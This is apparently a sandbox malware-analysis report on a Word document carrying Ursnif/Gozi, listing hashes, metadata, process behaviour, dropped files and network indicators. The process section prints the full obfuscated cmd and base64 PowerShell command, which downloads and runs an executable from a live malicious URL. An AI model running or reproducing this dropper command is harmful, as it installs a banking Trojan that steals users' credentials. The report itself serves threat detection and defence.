analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

Provincia_di_ Monza.doc

Full analysis: https://app.any.run/tasks/c0489be2-dbf8-4c90-a2f0-f36f84e22067
Verdict: Malicious activity
Threats:

Ursnif is a banking Trojan that usually infects corporate victims. It is based on an old malware but was substantially updated over the years and became quite powerful. Today Ursnif is one of the most widely spread banking Trojans in the world.

Malware Trends Tracker     >>>
Analysis date: November 15, 2018, 11:46:09
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-close
generated-doc
opendir
gozi
ursnif
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Title: Configurable client-driven project, Subject: Massachusetts Tiana, Comments: Optional leading edge process improvement, Template: Normal, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed Apr 25 22:21:00 2018, Last Saved Time/Date: Thu Nov 15 06:15:00 2018, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0
MD5:

7F86061F3D34BCF95569EF42113E57B8

SHA1:

2D916C77B437855CBEAE372B752DCBD9281AD93B

SHA256:

06C9177B3F06B081CFECC9A6008D6C1D78F6A73AF38AEF22A726ABDEBB6B04D4

SSDEEP:

1536:/LjshTPaJp9mjBwoxfr0CDUcy3le4J1QGuGuaSP+UkeUnlUSAwqBQxlkA3BMWsB:TjsNPa9mWo+2TIlhZqwxBM

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Starts CMD.EXE for commands execution

      • WINWORD.EXE (PID: 1716)

    • URSNIF was detected

      • powershell.exe (PID: 2628)

    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 1716)

    • Executes PowerShell scripts

      • cMd.EXE (PID: 3700)

  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 2628)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2628)

  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 1716)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 1716)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Title: Configurable client-driven project
Subject: Massachusetts Tiana
Author: -
Keywords: -
Comments: Optional leading edge process improvement
Template: Normal
LastModifiedBy: -
RevisionNumber: 1
Software: Microsoft Office Word
TotalEditTime: -
CreateDate: 2018:04:25 21:21:00
ModifyDate: 2018:11:15 06:15:00
Pages: 1
Words: -
Characters: 1
Security: None
CodePage: Windows Cyrillic
Manager: -
Company: -
Bytes: 119296
Lines: 1
Paragraphs: 1
CharCountWithSpaces: 1
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts:
  • Configurable client-driven project
HeadingPairs:
  • Title
  • 1
  • Название
  • 1
CompObjUserTypeLen: 32
CompObjUserType: Microsoft Word 97-2003 Document
No data.
screenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
34
Monitored processes
3
Malicious processes
3
Suspicious processes
0

Behavior graph

Click at the process to see the details
start winword.exe no specs cmd.exe no specs #URSNIF powershell.exe

Process information

PID
CMD
Path
Indicators
Parent process
1716"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Provincia_di_ Monza.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
3700cMd.EXE /c p^o^W^e^r^S^h^e^l^L^.^e^x^e^ ^-^e^c^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^L^w^B^u^A^G^k^A^b^g^B^h^A^H^M^A^d^Q^B^r^A^G^E^A^c^w^B^o^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^Z^A^E^U^A^U^g^A^v^A^H^A^A^Z^Q^B^s^A^G^k^A^b^Q^A^u^A^H^A^A^a^A^B^w^A^D^8^A^b^A^A^9^A^H^U^A^b^A^B^v^A^G^Y^A^N^Q^A^u^A^H^c^A^b^w^B^z^A^C^I^A^L^A^A^g^A^C^Q^A^Z^Q^B^u^A^H^Y^A^O^g^B^B^A^F^A^A^U^A^B^E^A^E^E^A^V^A^B^B^A^C^A^A^K^w^A^g^A^C^c^A^X^A^B^h^A^D^A^A^M^g^A^z^A^G^I^A^Z^Q^A^0^A^D^M^A^L^g^B^l^A^H^g^A^Z^Q^A^n^A^C^k^A^O^w^B^T^A^H^Q^A^Y^Q^B^y^A^H^Q^A^L^Q^B^Q^A^H^I^A^b^w^B^j^A^G^U^A^c^w^B^z^A^C^A^A^J^A^B^l^A^G^4^A^d^g^A^6^A^E^E^A^U^A^B^Q^A^E^Q^A^Q^Q^B^U^A^E^E^A^J^w^B^c^A^G^E^A^M^A^A^y^A^D^M^A^Y^g^B^l^A^D^Q^A^M^w^A^u^A^G^U^A^e^A^B^l^A^C^c^A^O^w^A^g^A^E^U^A^e^A^B^p^A^H^Q^AC:\Windows\system32\cMd.EXE—WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2628poWerShelL.exe -ec KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQAcAA6AC8ALwBuAGkAbgBhAHMAdQBrAGEAcwBoAC4AYwBvAG0ALwBZAEUAUgAvAHAAZQBsAGkAbQAuAHAAaABwAD8AbAA9AHUAbABvAGYANQAuAHcAbwBzACIALAAgACQAZQBuAHYAOgBBAFAAUABEAEEAVABBACAAKwAgACcAXABhADAAMgAzAGIAZQA0ADMALgBlAHgAZQAnACkAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAJwBcAGEAMAAyADMAYgBlADQAMwAuAGUAeABlACcAOwAgAEUAeABpAHQAC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cMd.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
1 417
Read events
1 294
Write events
0
Delete events
0

Modification events

No data
Executable files
1
Suspicious files
2
Text files
0
Unknown types
2

Dropped files

PID
Process
Filename
Type
1716WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR9AC4.tmp.cvr —
MD5:—
SHA256:—
1716WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DF0274E1CD395DF1B9.TMP —
MD5:—
SHA256:—
1716WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{6AB743EE-532C-4517-8A71-7029BE4923F5}.tmp —
MD5:—
SHA256:—
1716WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{CA065EAD-91CB-4756-B7ED-F2428FA47D8B}.tmp —
MD5:—
SHA256:—
2628powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\IG9JVJ6TMIJ52PDOI4JN.temp —
MD5:—
SHA256:—
1716WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$ovincia_di_ Monza.docpgc
MD5:0DEC8EAAD7D15552B8668323497A49ED
SHA256:4D42946532CB14CD7DD32DEB071C22E90374DF4A35AE6C9A19A5E8557D2A30A5
2628powershell.exeC:\Users\admin\AppData\Roaming\a023be43.exeexecutable
MD5:F5B9C74982E7DF7103F1E32DE1636567
SHA256:6DCAD4A287715CCFDE3087713AA858B6666DAEA7C5407F9D6974E172798F9B9F
1716WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:D01CA1EBAE094E9B94B62FE2E8E6B18C
SHA256:64C23A325019296C94D75B4C8C29C932798431B8B257A13D0E63636B3DE68C04
2628powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:3C6A7AAE234382390B6B52F47ECA1BAA
SHA256:C8D6BF40DC644B318B2D69E1A1CD3EC9CCFDED8ADE326D33CFAA2C4E3187FCD2
2628powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF5dbca4.TMPbinary
MD5:3C6A7AAE234382390B6B52F47ECA1BAA
SHA256:C8D6BF40DC644B318B2D69E1A1CD3EC9CCFDED8ADE326D33CFAA2C4E3187FCD2
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
1
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2628
powershell.exe
GET
—
192.162.244.203:80
http://ninasukash.com/YER/pelim.php?l=ulof5.wos
RU
—
—
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2628
powershell.exe
192.162.244.203:80
ninasukash.com
—
RU
suspicious

DNS requests

Domain
IP
Reputation
ninasukash.com
  • 192.162.244.203
suspicious

Threats

PID
Process
Class
Message
2628
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2628
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
2628
powershell.exe
Misc activity
ET INFO EXE - Served Attached HTTP
1 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
Provincia_di_ Monza.doc